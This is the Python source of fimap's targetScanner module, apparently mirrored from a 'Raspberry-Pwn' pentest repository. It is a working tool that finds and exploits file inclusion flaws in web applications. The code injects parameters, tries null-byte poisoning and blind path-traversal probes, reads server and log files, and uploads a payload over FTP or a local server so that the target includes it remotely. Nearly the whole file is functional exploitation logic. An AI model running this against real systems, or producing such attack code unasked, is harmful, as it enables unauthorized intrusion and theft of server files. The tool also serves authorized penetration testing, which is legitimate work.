PageRenderTime 55ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/src/pentest/fimap/targetScanner.py

https://github.com/sullivanmatt/Raspberry-Pwn
Python | 681 lines | 654 code | 8 blank | 19 comment | 33 complexity | 702622b70d3bd4ad2069e5d1bf7b46c1 MD5 | raw file
Possible License(s): BSD-3-Clause, AGPL-1.0, MPL-2.0-no-copyleft-exception, GPL-2.0, GPL-3.0
  1. #
  2. # This file is part of fimap.
  3. #
  4. # Copyright(c) 2009-2010 Iman Karim(ikarim2s@smail.inf.fh-brs.de).
  5. # http://fimap.googlecode.com
  6. #
  7. # This file may be licensed under the terms of of the
  8. # GNU General Public License Version 2 (the ``GPL'').
  9. #
  10. # Software distributed under the License is distributed
  11. # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either
  12. # express or implied. See the GPL for the specific language
  13. # governing rights and limitations.
  14. #
  15. # You should have received a copy of the GPL along with this
  16. # program. If not, go to http://www.gnu.org/licenses/gpl.html
  17. # or write to the Free Software Foundation, Inc.,
  18. # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  19. #
  20. from config import settings
  21. import shutil
  22. import baseClass
  23. from report import report
  24. import re,os
  25. import os.path
  26. import posixpath
  27. import ntpath
  28. __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)"
  29. __date__ ="$30.08.2009 19:59:44$"
  30. class targetScanner (baseClass.baseClass):
  31. def _load(self):
  32. self.MonkeyTechnique = False
  33. self._log("TargetScanner loaded.", self.LOG_DEBUG)
  34. self.params = {}
  35. self.postparams = {}
  36. def prepareTarget(self, url):
  37. self.Target_URL = url
  38. self._log("Parsing URL '%s'..."%(self.Target_URL), self.LOG_ALWAYS)
  39. if (self.Target_URL.find("?") == -1):
  40. self._log("Target URL doesn't have any params.", self.LOG_DEBUG);
  41. else:
  42. data = self.Target_URL.split("?")[1]
  43. if (data.find("&") == -1):
  44. self.__addToken(self.params, data)
  45. else:
  46. for ln in data.split("&"):
  47. self.__addToken(self.params, ln)
  48. post = self.config["p_post"]
  49. if (post != ""):
  50. if (post.find("&") == -1):
  51. self.__addToken(self.postparams, post)
  52. else:
  53. for ln in post.split("&"):
  54. self.__addToken(self.postparams, ln)
  55. return(len(self.params)>0 or len(self.postparams)>0)
  56. def analyzeURL(self, result, k, v, post=None, isPost=False):
  57. tmpurl = self.Target_URL
  58. tmppost = post
  59. rndStr = self.getRandomStr()
  60. if (not isPost):
  61. tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, rndStr))
  62. else:
  63. tmppost = tmppost.replace("%s=%s"%(k,v), "%s=%s"%(k, rndStr))
  64. code = None
  65. if (post==None):
  66. self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG)
  67. code = self.doGetRequest(tmpurl)
  68. else:
  69. self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, post), self.LOG_DEBUG)
  70. code = self.doPostRequest(tmpurl, tmppost)
  71. xml2config = self.config["XML2CONFIG"]
  72. READFILE_ERR_MSG = xml2config.getAllReadfileRegex()
  73. if (code != None):
  74. disclosure_found = False
  75. for lang, ex in READFILE_ERR_MSG:
  76. RE_SUCCESS_MSG = re.compile(ex%(rndStr), re.DOTALL)
  77. m = RE_SUCCESS_MSG.search(code)
  78. if (m != None):
  79. if (not isPost):
  80. self._log("Possible local file disclosure found! -> '%s' with Parameter '%s'. (%s)"%(tmpurl, k, lang), self.LOG_ALWAYS)
  81. else:
  82. self._log("Possible local file disclosure found! -> '%s' with POST-Parameter '%s'. (%s)"%(tmpurl, k, lang), self.LOG_ALWAYS)
  83. #self.identifyReadFile(URL, Params, VulnParam)
  84. self._writeToLog("READ ; %s ; %s"%(tmpurl, k))
  85. disclosure_found = True
  86. break
  87. if (not disclosure_found):
  88. sniper_regex = xml2config.getAllSniperRegex()
  89. for lang, sniper in sniper_regex:
  90. RE_SUCCESS_MSG = re.compile(sniper%(rndStr), re.DOTALL)
  91. m = RE_SUCCESS_MSG.search(code)
  92. if (m != None):
  93. rep = None
  94. self._writeToLog("POSSIBLE ; %s ; %s"%(self.Target_URL, k))
  95. if (not isPost):
  96. self._log("[%s] Possible file inclusion found! -> '%s' with Parameter '%s'." %(lang, tmpurl, k), self.LOG_ALWAYS)
  97. rep = self.identifyVuln(self.Target_URL, self.params, k, post, lang)
  98. else:
  99. self._log("[%s] Possible file inclusion found! -> '%s' with POST-Parameter '%s'." %(lang, tmpurl, k), self.LOG_ALWAYS)
  100. rep = self.identifyVuln(self.Target_URL, self.postparams, k, post, lang, True)
  101. if (rep != None):
  102. rep.setVulnKeyVal(v)
  103. rep.setLanguage(lang)
  104. result.append((rep, self.readFiles(rep)))
  105. return(result)
  106. def analyzeURLblindly(self, i, testfile, k, v, find, goBackSymbols, post=None, isPost=False, isUnix=True):
  107. tmpurl = self.Target_URL
  108. tmppost = post
  109. rep = None
  110. doBreak = False
  111. if (not isPost):
  112. tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, testfile))
  113. else:
  114. tmppost = tmppost.replace("%s=%s"%(k,v), "%s=%s"%(k, testfile))
  115. if (post != None and post != ""):
  116. self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG)
  117. else:
  118. self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, tmppost), self.LOG_DEBUG)
  119. code = self.doPostRequest(tmpurl, tmppost)
  120. if (code != None):
  121. if (code.find(find) != -1):
  122. self._log("Possible file inclusion found blindly! -> '%s' with Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS)
  123. doBreak = True
  124. if (not isPost):
  125. rep = self.identifyVuln(self.Target_URL, self.params, k, post, None, isPost, (goBackSymbols * i, False), isUnix)
  126. else:
  127. rep = self.identifyVuln(self.Target_URL, self.postparams, k, post, None, isPost, (goBackSymbols * i, False), isUnix)
  128. else:
  129. tmpurl = self.Target_URL
  130. tmpfile = testfile + "%00"
  131. postdata = post
  132. if (not isPost):
  133. tmpurl = tmpurl.replace("%s=%s"%(k,v), "%s=%s"%(k, tmpfile))
  134. else:
  135. postdata = postdata.replace("%s=%s"%(k,v), "%s=%s"%(k, tmpfile))
  136. if (post != None and post != ""):
  137. self._log("Requesting: '%s'..." %(tmpurl), self.LOG_DEBUG)
  138. else:
  139. self._log("Requesting: '%s' with POST('%s')..." %(tmpurl, postdata), self.LOG_DEBUG)
  140. code = self.doPostRequest(tmpurl, postdata)
  141. if (code.find(find) != -1):
  142. if (not isPost):
  143. self._log("Possible file inclusion found blindly! -> '%s' with Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS)
  144. else:
  145. self._log("Possible file inclusion found blindly! -> '%s' with POST-Parameter '%s'." %(tmpurl, k), self.LOG_ALWAYS)
  146. doBreak = True
  147. rep = self.identifyVuln(self.Target_URL, self.params, k, post, None, isPost, (goBackSymbols * i, True), isUnix)
  148. else:
  149. # Previous result was none. Assuming that we can break here.
  150. self._log("Code == None. Skipping testing of the URL.", self.LOG_DEBUG)
  151. doBreak = True
  152. return(rep, doBreak)
  153. def testTargetVuln(self):
  154. ret = []
  155. xml2config = self.config["XML2CONFIG"]
  156. self._log("Fiddling around with URL...", self.LOG_INFO)
  157. for k,v in self.params.items():
  158. self.analyzeURL(ret, k, v, self.config["p_post"], False)
  159. for k,v in self.postparams.items():
  160. self.analyzeURL(ret, k, v, self.config["p_post"], True)
  161. if (len(ret) == 0 and self.MonkeyTechnique):
  162. self._log("Sniper failed. Going blind...", self.LOG_INFO)
  163. files = xml2config.getBlindFiles()
  164. for fileobj in files:
  165. post = fileobj.getPostData()
  166. v = fileobj.getFindStr()
  167. f = fileobj.getFilepath()
  168. backSym = fileobj.getBackSymbols()
  169. for i in range(xml2config.getBlindMin(), xml2config.getBlindMax()):
  170. doBreak = False
  171. testfile = f
  172. if (i > 0):
  173. tmpf = f
  174. if (fileobj.isWindows()):
  175. tmpf = f[f.find(":")+1:]
  176. testfile = backSym * i + tmpf
  177. rep = None
  178. for k,V in self.params.items():
  179. rep, doBreak = self.analyzeURLblindly(i, testfile, k, V, v, backSym, self.config["p_post"], False, fileobj.isUnix())
  180. if (rep != None):
  181. rep.setVulnKeyVal(V)
  182. rep.setPostData(self.config["p_post"])
  183. ret.append((rep, self.readFiles(rep)))
  184. for k,V in self.postparams.items():
  185. rep, doBreak = self.analyzeURLblindly(i, testfile, k, V, v, backSym, self.config["p_post"], True, fileobj.isUnix())
  186. if (rep != None):
  187. rep.setVulnKeyVal(V)
  188. rep.setPostData(self.config["p_post"])
  189. rep.setPost(True)
  190. ret.append((rep, self.readFiles(rep)))
  191. if (doBreak): return(ret)
  192. return(ret)
  193. def identifyVuln(self, URL, Params, VulnParam, PostData, Language, isPost=False, blindmode=None, isUnix=None):
  194. xml2config = self.config["XML2CONFIG"]
  195. if (blindmode == None):
  196. script = None
  197. scriptpath = None
  198. pre = None
  199. langClass = xml2config.getAllLangSets()[Language]
  200. if (not isPost):
  201. self._log("[%s] Identifying Vulnerability '%s' with Parameter '%s'..."%(Language, URL, VulnParam), self.LOG_ALWAYS)
  202. else:
  203. self._log("[%s] Identifying Vulnerability '%s' with POST-Parameter '%s'..."%(Language, URL, VulnParam), self.LOG_ALWAYS)
  204. tmpurl = URL
  205. PostHax = PostData
  206. rndStr = self.getRandomStr()
  207. if (not isPost):
  208. tmpurl = tmpurl.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s"%(VulnParam, rndStr))
  209. else:
  210. PostHax = PostHax.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s"%(VulnParam, rndStr))
  211. RE_SUCCESS_MSG = re.compile(langClass.getSniper()%(rndStr), re.DOTALL)
  212. code = self.doPostRequest(tmpurl, PostHax)
  213. if (code == None):
  214. self._log("Identification of vulnerability failed. (code == None)", self.LOG_ERROR)
  215. return None
  216. m = RE_SUCCESS_MSG.search(code)
  217. if (m == None):
  218. self._log("Identification of vulnerability failed. (m == None)", self.LOG_ERROR)
  219. return None
  220. r = report(URL, Params, VulnParam)
  221. r.setPost(isPost)
  222. r.setPostData(PostData)
  223. for sp_err_msg in langClass.getIncludeDetectors():
  224. RE_SCRIPT_PATH = re.compile(sp_err_msg)
  225. s = RE_SCRIPT_PATH.search(code)
  226. if (s != None): break
  227. if (s == None):
  228. self._log("Failed to retrieve script path.", self.LOG_WARN)
  229. print "[MINOR BUG FOUND]"
  230. print "------------------------------------------------------"
  231. print "It's possible that fimap was unable to retrieve the scriptpath"
  232. print "because the regex for this kind of error message is missing."
  233. a = raw_input("Do you want to help me and send the URL of the site? [y = Print Info/N = Discard]")
  234. if (a=="y" or a=="Y"):
  235. print "-----------SEND THIS TO 'fimap.dev@gmail.com'-----------"
  236. print "SUBJECT: fimap Regex"
  237. print "ERROR : Failed to retrieve script path."
  238. print "URL : " + URL
  239. print "-----------------------------------------------------------"
  240. raw_input("Copy it and press enter to proceed with scanning...")
  241. else:
  242. print "No problem! I'll continue with your scan..."
  243. return(None)
  244. else:
  245. script = s.group('script')
  246. if (script != None and script[1] == ":"): # Windows detection quick hack
  247. scriptpath = script[:script.rfind("\\")]
  248. r.setWindows()
  249. elif (script != None and script.startswith("\\\\")):
  250. scriptpath = script[:script.rfind("\\")]
  251. r.setWindows()
  252. else:
  253. scriptpath = os.path.dirname(script)
  254. if (scriptpath == None or scriptpath == ""):
  255. self._log("Scriptpath is empty! Assuming that we are on toplevel.", self.LOG_WARN)
  256. scriptpath = "/"
  257. script = "/" + script
  258. # Check if scriptpath was received correctly.
  259. if(scriptpath!=""):
  260. self._log("Scriptpath received: '%s'" %(scriptpath), self.LOG_INFO)
  261. r.setServerPath(scriptpath)
  262. r.setServerScript(script)
  263. if (r.isWindows()):
  264. self._log("Operating System is 'Windows'.", self.LOG_INFO)
  265. else:
  266. self._log("Operating System is 'Unix-Like'.", self.LOG_INFO)
  267. errmsg = m.group("incname")
  268. if (errmsg == rndStr):
  269. r.setPrefix("")
  270. r.setSurfix("")
  271. else:
  272. tokens = errmsg.split(rndStr)
  273. pre = tokens[0]
  274. addSlash = False
  275. if (pre == ""):
  276. pre = "/"
  277. #else:
  278. # if pre[-1] != "/":
  279. # addSlash = True
  280. rootdir = None
  281. if (pre[0] != "/"):
  282. if (r.isUnix()):
  283. pre = posixpath.join(r.getServerPath(), pre)
  284. pre = posixpath.normpath(pre)
  285. rootdir = "/"
  286. pre = self.relpath_unix(rootdir, pre)
  287. else:
  288. pre = ntpath.join(r.getServerPath(), pre)
  289. pre = ntpath.normpath(pre)
  290. if (pre[1] == ":"):
  291. rootdir = pre[0:3]
  292. pre = self.relpath_win(rootdir, pre)
  293. else:
  294. pre = self.relpath_unix("/", pre)
  295. if addSlash: pre = rootdir + pre
  296. #Quick fix for increasing success :P
  297. if (pre != "."):
  298. pre = "/" + pre
  299. sur = tokens[1]
  300. if (pre == "."): pre = ""
  301. r.setPrefix(pre)
  302. r.setSurfix(sur)
  303. if (sur != ""):
  304. self._log("Trying NULL-Byte Poisoning to get rid of the suffix...", self.LOG_INFO)
  305. tmpurl = URL
  306. tmpurl = tmpurl.replace("%s=%s"%(VulnParam,Params[VulnParam]), "%s=%s%%00"%(VulnParam, rndStr))
  307. code = self.doGetRequest(tmpurl)
  308. if (code == None):
  309. self._log("NULL-Byte testing failed.", self.LOG_WARN)
  310. r.setNullBytePossible(False)
  311. elif (code.find("%s\\0%s"%(rndStr, sur)) != -1 or code.find("%s%s"%(rndStr, sur)) != -1):
  312. self._log("NULL-Byte Poisoning not possible.", self.LOG_INFO)
  313. r.setNullBytePossible(False)
  314. else:
  315. self._log("NULL-Byte Poisoning successfull!", self.LOG_INFO)
  316. r.setSurfix("%00")
  317. r.setNullBytePossible(True)
  318. if (scriptpath == ""):
  319. # Failed to get scriptpath with easy method :(
  320. if (pre != ""):
  321. self._log("Failed to retrieve path but we are forced to go relative!", self.LOG_WARN)
  322. self._log("Go and try it to scan with --enable-blind.", self.LOG_WARN)
  323. return(None)
  324. else:
  325. self._log("Failed to retrieve path! It's an absolute injection so I'll fake it to '/'...", self.LOG_WARN)
  326. scriptpath = "/"
  327. r.setServerPath(scriptpath)
  328. r.setServerScript(script)
  329. return(r)
  330. else:
  331. # Blindmode
  332. prefix = blindmode[0]
  333. isNull = blindmode[1]
  334. self._log("Identifying Vulnerability '%s' with Parameter '%s' blindly..."%(URL, VulnParam), self.LOG_ALWAYS)
  335. r = report(URL, Params, VulnParam)
  336. r.setBlindDiscovered(True)
  337. r.setSurfix("")
  338. if isNull: r.setSurfix("%00")
  339. r.setNullBytePossible(isNull)
  340. if (prefix.strip() == ""):
  341. r.setServerPath("/noop")
  342. else:
  343. r.setServerPath(prefix.replace("..", "a"))
  344. r.setServerScript("noop")
  345. r.setPrefix(prefix)
  346. if (not isUnix):
  347. r.setWindows()
  348. return(r)
  349. def readFiles(self, rep):
  350. xml2config = self.config["XML2CONFIG"]
  351. langClass = None
  352. if rep.isLanguageSet():
  353. langClass = xml2config.getAllLangSets()[rep.getLanguage()]
  354. else:
  355. if (self.config["p_autolang"]):
  356. self._log("Unknown language - Autodetecting...", self.LOG_WARN)
  357. if (rep.autoDetectLanguageByExtention(xml2config.getAllLangSets())):
  358. self._log("Autodetect thinks this could be a %s-Script..."%(rep.getLanguage()), self.LOG_INFO)
  359. self._log("If you think this is wrong start fimap with --no-auto-detect", self.LOG_INFO)
  360. langClass = xml2config.getAllLangSets()[rep.getLanguage()]
  361. else:
  362. self._log("Autodetect failed!", self.LOG_ERROR)
  363. return([])
  364. else:
  365. self._log("Unknown language! You have told me to let you choose - here we go.", self.LOG_WARN)
  366. boxheader = "Choose language for URL: %s" %(rep.getURL())
  367. boxarr = []
  368. choose = []
  369. idx = 0
  370. for Name, langClass in xml2config.getAllLangSets().items():
  371. boxarr.append("[%d] %s"%(idx+1, Name))
  372. choose.append(Name)
  373. idx += 1
  374. boxarr.append("[q] Quit")
  375. self.drawBox(boxheader, boxarr)
  376. inp = ""
  377. while (1==1):
  378. inp = raw_input("Script number: ")
  379. if (inp == "q" or inp == "Q"):
  380. return([])
  381. else:
  382. try:
  383. idx = int(inp)
  384. if (idx < 1 or idx > len(choose)):
  385. print "Choose out of range..."
  386. else:
  387. rep.setLanguage(choose[idx-1])
  388. langClass = xml2config.getAllLangSets()[rep.getLanguage()]
  389. break
  390. except:
  391. print "Invalid Number!"
  392. files = xml2config.getRelativeFiles(rep.getLanguage())
  393. abs_files = xml2config.getAbsoluteFiles(rep.getLanguage())
  394. rmt_files = xml2config.getRemoteFiles(rep.getLanguage())
  395. log_files = xml2config.getLogFiles(rep.getLanguage())
  396. rfi_mode = settings["dynamic_rfi"]["mode"]
  397. ret = []
  398. self._log("Testing default files...", self.LOG_DEBUG)
  399. for fileobj in files:
  400. post = fileobj.getPostData()
  401. p = fileobj.getFindStr()
  402. f = fileobj.getFilepath()
  403. type = fileobj.getFlags()
  404. quiz = answer = None
  405. if (post != None):
  406. quiz, answer = langClass.generateQuiz()
  407. post = post.replace("__QUIZ__", quiz)
  408. p = p.replace("__ANSWER__", answer)
  409. if ((rep.getSurfix() == "" or rep.isNullbytePossible() or f.endswith(rep.getSurfix()))):
  410. if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()):
  411. if (self.readFile(rep, f, p, POST=post)):
  412. ret.append(f)
  413. self.addXMLLog(rep, type, f)
  414. else:
  415. pass
  416. else:
  417. self._log("Skipping file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG)
  418. else:
  419. self._log("Skipping file '%s'."%f, self.LOG_INFO)
  420. self._log("Testing absolute files...", self.LOG_DEBUG)
  421. for fileobj in abs_files:
  422. post = fileobj.getPostData()
  423. p = fileobj.getFindStr()
  424. f = fileobj.getFilepath()
  425. type = fileobj.getFlags()
  426. canbreak = fileobj.isBreakable()
  427. quiz = answer = None
  428. if (post != None):
  429. quiz, answer = langClass.generateQuiz()
  430. post = post.replace("__QUIZ__", quiz)
  431. p = p.replace("__ANSWER__", answer)
  432. if (rep.getPrefix() == "" and(rep.getSurfix() == "" or rep.isNullbytePossible() or f.endswith(rep.getSurfix()) or canbreak)):
  433. if canbreak:
  434. #SUPERDUPER URL HAX!
  435. rep.setSurfix("&")
  436. if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()):
  437. if (self.readFile(rep, f, p, True, POST=post)):
  438. ret.append(f)
  439. self.addXMLLog(rep, type, f)
  440. else:
  441. pass
  442. else:
  443. self._log("Skipping absolute file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG)
  444. else:
  445. self._log("Skipping absolute file '%s'."%f, self.LOG_INFO)
  446. self._log("Testing log files...", self.LOG_DEBUG)
  447. for fileobj in log_files:
  448. post = fileobj.getPostData()
  449. p = fileobj.getFindStr()
  450. f = fileobj.getFilepath()
  451. type = fileobj.getFlags()
  452. if ((rep.getSurfix() == "" or rep.isNullbytePossible() or f.endswith(rep.getSurfix()))):
  453. if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()):
  454. if (self.readFile(rep, f, p)):
  455. ret.append(f)
  456. self.addXMLLog(rep, type, f)
  457. else:
  458. pass
  459. else:
  460. self._log("Skipping log file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG)
  461. else:
  462. self._log("Skipping log file '%s'."%f, self.LOG_INFO)
  463. if (rfi_mode in ("ftp", "local")):
  464. if (rfi_mode == "ftp"): self._log("Testing remote inclusion dynamicly with FTP...", self.LOG_INFO)
  465. if (rfi_mode == "local"): self._log("Testing remote inclusion dynamicly with local server...", self.LOG_INFO)
  466. if (rep.getPrefix() == ""):
  467. fl = up = None
  468. if (rfi_mode == "ftp"):
  469. fl = settings["dynamic_rfi"]["ftp"]["ftp_path"] + rep.getAppendix()
  470. up = self.FTPuploadFile(settings["php_info"][0], rep.getAppendix())
  471. # Discard the suffix if there is a forced directory structure.
  472. if (not up["http"].endswith(rep.getAppendix())):
  473. rep.setSurfix("")
  474. elif(rfi_mode == "local"):
  475. up = self.putLocalPayload(settings["php_info"][0], rep.getAppendix())
  476. if (not up["http"].endswith(rep.getAppendix())):
  477. rep.setSurfix("")
  478. if (self.readFile(rep, up["http"], settings["php_info"][1], True)):
  479. ret.append(up["http"])
  480. rep.setRemoteInjectable(True)
  481. self.addXMLLog(rep, "rxR", up["http"])
  482. if (rfi_mode == "ftp"):
  483. if up["dirstruct"]:
  484. self.FTPdeleteDirectory(up["ftp"])
  485. else:
  486. self.FTPdeleteFile(up["ftp"])
  487. if (rfi_mode == "local"):
  488. self.deleteLocalPayload(up["local"])
  489. else:
  490. self._log("Testing remote inclusion...", self.LOG_DEBUG)
  491. for fileobj in rmt_files:
  492. post = fileobj.getPostData()
  493. p = fileobj.getFindStr()
  494. f = fileobj.getFilepath()
  495. type = fileobj.getFlags()
  496. canbreak = fileobj.isBreakable()
  497. if (rep.getPrefix() == "" and(rep.getSurfix() == "" or rep.isNullbytePossible() or f.endswith(rep.getSurfix()) or canbreak)):
  498. if ((not rep.isNullbytePossible() and not rep.getSurfix() == "") and f.endswith(rep.getSurfix())):
  499. f = f[:-len(rep.getSurfix())]
  500. rep.setSurfix("")
  501. elif (canbreak):
  502. #SUPERDUPER URL HAX!
  503. rep.setSurfix("&")
  504. if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()):
  505. if (self.readFile(rep, f, p, True)):
  506. ret.append(f)
  507. rep.setRemoteInjectable(True)
  508. self.addXMLLog(rep, type, f)
  509. else:
  510. pass
  511. else:
  512. self._log("Skipping remote file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG)
  513. else:
  514. self._log("Skipping remote file '%s'."%f, self.LOG_INFO)
  515. self.saveXML()
  516. return(ret)
  517. def readFile(self, report, filepath, filepattern, isAbs=False, POST=None):
  518. self._log("Testing file '%s'..." %filepath, self.LOG_INFO)
  519. xml2config = self.config["XML2CONFIG"]
  520. langClass = xml2config.getAllLangSets()[report.getLanguage()]
  521. tmpurl = report.getURL()
  522. prefix = report.getPrefix()
  523. surfix = report.getSurfix()
  524. vuln = report.getVulnKey()
  525. params = report.getParams()
  526. isunix = report.isUnix()
  527. scriptpath = report.getServerPath()
  528. postdata = None
  529. isPost = report.isPost
  530. if (isPost):
  531. postdata = report.getPostData()
  532. filepatha = ""
  533. if (prefix != None and prefix != "" and prefix[-1] == "/"):
  534. prefix = prefix[:-1]
  535. report.setPrefix(prefix)
  536. if (filepath[0] == "/"):
  537. filepatha = prefix + filepath
  538. if (report.isWindows() and len(prefix.strip()) > 0 and not isAbs):
  539. filepatha = prefix + filepath[3:]
  540. elif len(prefix.strip()) > 0 and not isAbs:
  541. filepatha = prefix + "/" + filepath
  542. else:
  543. filepatha = filepath
  544. if (scriptpath[-1] != "/" and filepatha[0] != "/" and not isAbs and report.isUnix()):
  545. filepatha = "/" + filepatha
  546. payload = "%s%s"%(filepatha, surfix)
  547. if (not isPost):
  548. tmpurl = tmpurl.replace("%s=%s" %(vuln, params[vuln]), "%s=%s"%(vuln, payload))
  549. else:
  550. postdata = postdata.replace("%s=%s" %(vuln, params[vuln]), "%s=%s"%(vuln, payload))
  551. self._log("Testing URL: " + tmpurl, self.LOG_DEBUG)
  552. RE_SUCCESS_MSG = re.compile(langClass.getSniper()%(filepath), re.DOTALL)
  553. code = None
  554. if (POST != None or postdata != None):
  555. if (postdata != None):
  556. if (POST == None):
  557. POST = postdata
  558. else:
  559. POST = "%s&%s"%(postdata, POST)
  560. code = self.doPostRequest(tmpurl, POST)
  561. else:
  562. code = self.doGetRequest(tmpurl)
  563. if (code == None):
  564. return(False)
  565. m = RE_SUCCESS_MSG.search(code)
  566. if (m == None):
  567. if (filepattern == None or code.find(filepattern) != -1):
  568. #self._writeToLog("VULN;%s;%s;%s;%s"%(tmpurl, vuln, payload, filepath))
  569. return(True)
  570. return(False)
  571. def __addToken(self, arr, token):
  572. if (token.find("=") == -1):
  573. arr[token] = ""
  574. self._log("Token found: [%s] = none" %(token), self.LOG_DEBUG)
  575. else:
  576. k = token.split("=")[0]
  577. v = token.split("=")[1]
  578. arr[k] = v
  579. self._log("Token found: [%s] = [%s]" %(k,v), self.LOG_DEBUG)